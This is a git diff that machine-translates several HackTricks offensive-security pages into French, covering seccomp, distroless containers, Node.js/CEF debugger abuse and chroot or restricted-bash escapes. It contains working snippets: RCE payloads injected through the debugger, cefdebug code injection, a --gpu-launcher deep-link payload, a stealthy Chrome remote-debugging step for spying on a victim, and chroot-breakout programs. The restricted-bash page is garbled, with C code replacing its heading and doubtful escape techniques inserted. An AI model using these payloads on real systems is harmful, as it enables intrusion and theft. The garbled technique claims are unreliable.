feature, let’s create a Seccomp profile disabling “chm ] } ``` - -In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\ -Following output shows the “chmod” call returning error because its disabled in the seccomp profile - +Dans le profil ci-dessus, nous avons défini l'action par défaut sur "autoriser" et créé une liste noire pour désactiver "chmod". Pour être plus sûr, nous pouvons définir l'action par défaut sur "refuser" et créer une liste blanche pour activer sélectivement les appels système.\ +La sortie suivante montre l'appel "chmod" renvoyant une erreur car il est désactivé dans le profil seccomp. ```bash $ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts chmod: /etc/hosts: Operation not permitted ``` - -Following output shows the “docker inspect” displaying the profile: - +Le résultat suivant montre la commande "docker inspect" affichant le profil : ```json "SecurityOpt": [ "seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}" ], ``` +### Désactivation dans Docker -### Deactivate it in Docker +Lancez un conteneur avec le flag: **`--security-opt seccomp=unconfined`** -Launch a container with the flag: **`--security-opt seccomp=unconfined`** - -As of Kubernetes 1.19, **seccomp is enabled by default for all Pods**. However, the default seccomp profile applied to the Pods is the "**RuntimeDefault**" profile, which is **provided by the container runtime** (e.g., Docker, containerd). The "RuntimeDefault" profile allows most system calls while blocking a few that are considered dangerous or not generally required by containers. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+À partir de Kubernetes 1.19, **seccomp est activé par défaut pour tous les Pods**. Cependant, le profil seccomp par défaut appliqué aux Pods est le profil "**RuntimeDefault**", qui est **fourni par le runtime de conteneurs** (par exemple, Docker, containerd). Le profil "RuntimeDefault" permet la plupart des appels système tout en bloquant quelques-uns considérés comme dangereux ou non généralement requis par les conteneurs. diff --git a/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index 62e3f23f7..4cb09cb15 100644 --- a/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -1,52 +1,40 @@ -# Weaponizing Distroless +# Armer Distroless
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## What is Distroless +## Qu'est-ce que Distroless -A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components. +Un conteneur distroless est un type de conteneur qui **contient uniquement les dépendances nécessaires pour exécuter une application spécifique**, sans aucun logiciel ou outil supplémentaire qui n'est pas requis. Ces conteneurs sont conçus pour être aussi **légers** et **sécurisés** que possible, et ils visent à **minimiser la surface d'attaque** en supprimant tous les composants inutiles. -Distroless containers are often used in **production environments where security and reliability are paramount**. +Les conteneurs distroless sont souvent utilisés dans les **environnements de production où la sécurité et la fiabilité sont primordiales**. -Some **examples** of **distroless containers** are: +Quelques **exemples** de **conteneurs distroless** sont : -* Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) -* Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) +* Fournis par **Google** : [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL) +* Fournis par **Chainguard** : [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images) -## Weaponizing Distroless +## Armer Distroless -The goal of weaponize a distroless container is to be able to **execute arbitrary binaries and payloads even with the limitations** implied by **distroless** (lack of common binaries in the system) and also protections commonly found in containers such as **read-only** or **no-execute** in `/dev/shm`. +Le but de l'armement d'un conteneur distroless est de pouvoir **exécuter des binaires et des charges utiles arbitraires même avec les limitations** impliquées par **distroless** (manque de binaires courants dans le système) et aussi les protections couramment trouvées dans les conteneurs tels que **lecture seule** ou **no-execute** dans `/dev/shm`. -### Through memory +### Via la mémoire -Coming at some point of 2023... +À venir à un moment donné de 2023... -### Via Existing binaries +### Via des binaires existants #### openssl -****[**In this post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) it is explained that the binary **`openssl`** is frequently found in these containers, potentially because it's **needed** by the software that is going to be running inside the container. +****[**Dans ce post,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) il est expliqué que le binaire **`openssl`** est fréquemment trouvé dans ces conteneurs, potentiellement parce qu'il est **nécessaire** pour le logiciel qui va être exécuté à l'intérieur du conteneur. -Abusing the **`openssl`** binary is possible to **execute arbitrary stuff**. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+En abusant du binaire **`openssl`**, il est possible d'**exécuter des choses arbitraires**. diff --git a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index ee1af460f..dea09abc7 100644 --- a/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -1,33 +1,14 @@ -# Node inspector/CEF debug abuse +## Informations de base -
+Lorsqu'il est lancé avec l'option `--inspect`, un processus Node.js écoute un client de débogage. Par **défaut**, il écoutera sur l'hôte et le port **`127.0.0.1:9229`**. Chaque processus se voit également attribuer un **UUID** **unique**. -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- -## Basic Information - -When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. - -Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. +Les clients de l'inspecteur doivent connaître et spécifier l'adresse de l'hôte, le port et l'UUID pour se connecter. Une URL complète ressemblera à quelque chose comme `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. {% hint style="warning" %} -Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**). +Étant donné que le **débogueur a un accès complet à l'environnement d'exécution Node.js**, un acteur malveillant capable de se connecter à ce port peut être en mesure d'exécuter du code arbitraire au nom du processus Node.js (**potentielle élévation de privilèges**). {% endhint %} -There are several ways to start an inspector: - +Il existe plusieurs façons de démarrer un inspecteur : ```bash node --inspect app.js #Will run the inspector in port 9229 node --inspect=4444 app.js #Will run the inspector in port 4444 @@ -38,60 +19,50 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector ``` - -When you start an inspected process something like this will appear: - +Lorsque vous démarrez un processus inspecté, quelque chose comme ceci apparaîtra : ``` Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` +Les processus basés sur **CEF** (**Chromium Embedded Framework**) doivent utiliser le paramètre `--remote-debugging-port=9222` pour ouvrir le **débogueur** (les protections SSRF restent très similaires). Cependant, au lieu d'accorder une session de **débogage** **NodeJS**, ils communiqueront avec le navigateur en utilisant le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), qui est une interface pour contrôler le navigateur, mais il n'y a pas de RCE direct. -Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE. - -When you start a debugged browser something like this will appear: - +Lorsque vous démarrez un navigateur en mode débogage, quelque chose comme ceci apparaîtra : ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` +### Navigateurs, WebSockets et politique de même origine -### Browsers, WebSockets and same-origin policy - -Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. +Les sites Web ouverts dans un navigateur Web peuvent effectuer des requêtes WebSocket et HTTP sous le modèle de sécurité du navigateur. Une **connexion HTTP initiale** est nécessaire pour **obtenir un identifiant de session de débogueur unique**. La **politique de même origine** **empêche** les sites Web de pouvoir effectuer **cette connexion HTTP**. Pour une sécurité supplémentaire contre les [**attaques de rebond DNS**](https://en.wikipedia.org/wiki/DNS\_rebinding)**,** Node.js vérifie que les **en-têtes 'Host'** pour la connexion spécifient soit une **adresse IP** ou **`localhost`** ou **`localhost6`** précisément. {% hint style="info" %} -This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). +Ces **mesures de sécurité empêchent l'exploitation de l'inspecteur** pour exécuter du code en **envoyant simplement une requête HTTP** (ce qui pourrait être fait en exploitant une vulnérabilité SSRF). {% endhint %} -### Starting inspector in running processes - -You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. +### Démarrage de l'inspecteur dans les processus en cours d'exécution +Vous pouvez envoyer le **signal SIGUSR1** à un processus nodejs en cours d'exécution pour le faire **démarrer l'inspecteur** sur le port par défaut. Cependant, notez que vous devez avoir suffisamment de privilèges, cela pourrait vous accorder un **accès privilégié aux informations à l'intérieur du processus** mais pas une élévation de privilèges directe. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - {% hint style="info" %} -This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. +Ceci est utile dans les conteneurs car **arrêter le processus et en démarrer un nouveau** avec `--inspect` n'est **pas une option** car le **conteneur** sera **tué** avec le processus. {% endhint %} -### Connect to inspector/debugger +### Se connecter à l'inspecteur/debugger -If you have access to a **Chromium base browser** you can connect accessing `chrome://inspect` or `edge://inspect` in Edge. Click the Configure button and ensure your **target host and port** are listed (Find an example in the following image of how to get RCE using one of the next sections examples). +Si vous avez accès à un navigateur **basé sur Chromium**, vous pouvez vous connecter en accédant à `chrome://inspect` ou `edge://inspect` dans Edge. Cliquez sur le bouton Configure et assurez-vous que votre **hôte et port cible** sont répertoriés (trouvez un exemple dans l'image suivante de comment obtenir une RCE en utilisant l'un des exemples des sections suivantes). ![](<../../.gitbook/assets/image (620) (1).png>) -Using the **command line** you can connect to a debugger/inspector with: - +En utilisant la **ligne de commande**, vous pouvez vous connecter à un debugger/inspecteur avec: ```bash node inspect : node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` - -The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them. - +L'outil [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) permet de **trouver des inspecteurs** en cours d'exécution localement et d'**injecter du code** dans ceux-ci. ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -100,49 +71,43 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd #Exploit it ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` - {% hint style="info" %} -Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (you need to check the API to find interesting things to do with it). +Notez que les exploits **NodeJS RCE ne fonctionneront pas** s'ils sont connectés à un navigateur via le [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (vous devez vérifier l'API pour trouver des choses intéressantes à faire avec). {% endhint %} -## RCE in NodeJS Debugger/Inspector +## RCE dans le débogueur/inspecteur NodeJS {% hint style="info" %} -If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) +Si vous êtes venu ici pour savoir comment obtenir un **RCE à partir d'un XSS dans Electron**, veuillez consulter cette page.](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/) {% endhint %} -Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): - +Voici quelques moyens courants d'obtenir un **RCE** lorsque vous pouvez vous **connecter** à un **inspecteur Node** en utilisant quelque chose comme (il semble que cela **ne fonctionnera pas dans une connexion au protocole Chrome DevTools**): ```javascript process.mainModule.require('child_process').exec('calc') window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require('child_process').spawnSync('calc.exe') Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"})) ``` +## Charges utiles du protocole Chrome DevTools -## Chrome DevTools Protocol Payloads +Vous pouvez vérifier l'API ici: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +Dans cette section, je vais simplement lister les choses intéressantes que j'ai trouvées et que les gens ont utilisées pour exploiter ce protocole. -You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -In this section I will just list interesting things I find people have used to exploit this protocol. +### Injection de paramètres via des liens profonds -### Parameter Injection via Deep Links +Dans le [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/), Rhino Security a découvert qu'une application basée sur CEF **a enregistré un URI personnalisé** dans le système (workspaces://) qui a reçu l'URI complet, puis **a lancé l'application basée sur CEF** avec une configuration qui a été partiellement construite à partir de cet URI. -In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI. - -It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things. - -So, a payload like: +Il a été découvert que les paramètres de l'URI étaient décodés en URL et utilisés pour lancer l'application de base CEF, permettant à un utilisateur d'**injecter** le drapeau **`--gpu-launcher`** dans la **ligne de commande** et d'exécuter des choses arbitraires. +Ainsi, une charge utile comme: ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` +Exécuter un calc.exe. -Will execute a calc.exe. - -### Overwrite Files - -Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. +### Écraser des fichiers +Changer le dossier où les **fichiers téléchargés vont être sauvegardés** et télécharger un fichier pour **écraser** le **code source** fréquemment utilisé de l'application avec votre **code malveillant**. ```javascript ws = new WebSocket(url); //URL of the chrome devtools service ws.send(JSON.stringify({ @@ -154,22 +119,19 @@ ws.send(JSON.stringify({ } })); ``` +### RCE et exfiltration avec Webdriver -### Webdriver RCE and exfiltration +Selon cet article : [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148), il est possible d'obtenir une RCE et d'exfiltrer des pages internes à partir de Webdriver. -According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. +### Post-exploitation -### Post-Exploitation - -In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. - -The stealth way is to **terminate every Chrome process** and then call something like +Dans un environnement réel et **après avoir compromis** un PC utilisateur qui utilise un navigateur basé sur Chrome/Chromium, vous pouvez lancer un processus Chrome avec le **débogage activé et le port de débogage porté en avant** pour y accéder. De cette façon, vous pourrez **inspecter tout ce que la victime fait avec Chrome et voler des informations sensibles**. +La manière furtive est de **terminer tous les processus Chrome** et ensuite d'appeler quelque chose comme ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` - -## References +## Références * [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s) * [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) @@ -186,14 +148,14 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md index 97f0832e9..a3ece1839 100644 --- a/linux-hardening/privilege-escalation/escaping-from-limited-bash.md +++ b/linux-hardening/privilege-escalation/escaping-from-limited-bash.md @@ -1,44 +1,85 @@ -# Escaping from Jails +```c +#include +#include +#include +#include +#include -
+int main(int argc, char **argv) { + if (argc != 2) { + printf("Usage: %s \n", argv[0]); + exit(1); + } -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 + if (chroot(argv[1]) != 0) { + perror("chroot"); + exit(1); + } -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). + if (chdir("/") != 0) { + perror("chdir"); + exit(1); + } + + system("/bin/bash"); + return 0; +} +```
-## **GTFOBins** +```bash +gcc break_chroot.c -o break_chroot +./break_chroot /new_chroot +``` -**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property** +### Root + Mount -## Chroot Escapes +If you are **root** inside a chroot you **can escape** creating a **mount**. This because **mounts are not affected** by chroot. -From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** (**root**) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.\ -Usually this means that to escape you need to be root inside the chroot. +```bash +mkdir /tmp/new_root +mount --bind / /tmp/new_root +chroot /tmp/new_root +``` -{% hint style="success" %} -The **tool** [**chw00t**](https://github.com/earthquake/chw00t) was created to abuse the following escenarios and scape from `chroot`. -{% endhint %} +### User + CWD -### Root + CWD +If you are **not root** inside a chroot you **can escape** creating a **new chroot** with a **new user namespace**. This because **user namespaces** are not affected by chroot. -{% hint style="warning" %} -If you are **root** inside a chroot you **can escape** creating **another chroot**. This because 2 chroots cannot coexists (in Linux), so if you create a folder and then **create a new chroot** on that new folder being **you outside of it**, you will now be **outside of the new chroot** and therefore you will be in the FS. +```bash +unshare --user --map-root-user +mkdir /tmp/new_chroot +chroot /tmp/new_chroot +``` -This occurs because usually chroot DOESN'T move your working directory to the indicated one, so you can create a chroot but e outside of it. -{% endhint %} +## Limited Bash -Usually you won't find the `chroot` binary inside a chroot jail, but you **could compile, upload and execute** a binary: +If you have a **limited bash** (e.g. `rbash`) you can try to **escape** from it. -
+### Escaping from rbash -C: break_chroot.c +If you have a **limited bash** (e.g. `rbash`) you can try to **escape** from it. +#### Escaping with Bash Variables + +```bash +env -i X='() { (a)=>\' bash -c "echo date"; cat echo +``` + +#### Escaping with Bash Functions + +```bash +function echo() { /bin/bash; } +export -f echo +echo date +``` + +#### Escaping with Bash Builtins + +```bash +enable -a +``` ```c #include #include @@ -57,13 +98,15 @@ int main(void) system("/bin/bash"); } ``` -
Python +Python + +
```python #!/usr/bin/python import os @@ -74,13 +117,13 @@ for i in range(1000): os.chroot(".") os.system("/bin/bash") ``` -
Perl +Perl est un langage de programmation interprété, multiplateforme et open source. Il est souvent utilisé pour l'automatisation de tâches système et la manipulation de fichiers. Perl est également utilisé dans le développement web pour la création de scripts CGI et la manipulation de données. Il est souvent utilisé pour l'exploitation de vulnérabilités de type injection de commandes. ```perl #!/usr/bin/perl mkdir "chroot-dir"; @@ -91,19 +134,17 @@ foreach my $i (0..1000) { chroot "."; system("/bin/bash"); ``` -
-### Root + Saved fd +### Root + FD enregistré {% hint style="warning" %} -This is similar to the previous case, but in this case the **attacker stores a file descriptor to the current directory** and then **creates the chroot in a new folder**. Finally, as he has **access** to that **FD** **outside** of the chroot, he access it and he **escapes**. +Ceci est similaire au cas précédent, mais dans ce cas, l'attaquant **enregistre un descripteur de fichier** vers le répertoire courant, puis **crée le chroot dans un nouveau dossier**. Enfin, comme il a **accès** à ce **FD à l'extérieur** du chroot, il y accède et **s'échappe**. {% endhint %}
C: break_chroot.c - ```c #include #include @@ -124,60 +165,58 @@ int main(void) chroot("."); } ``` -
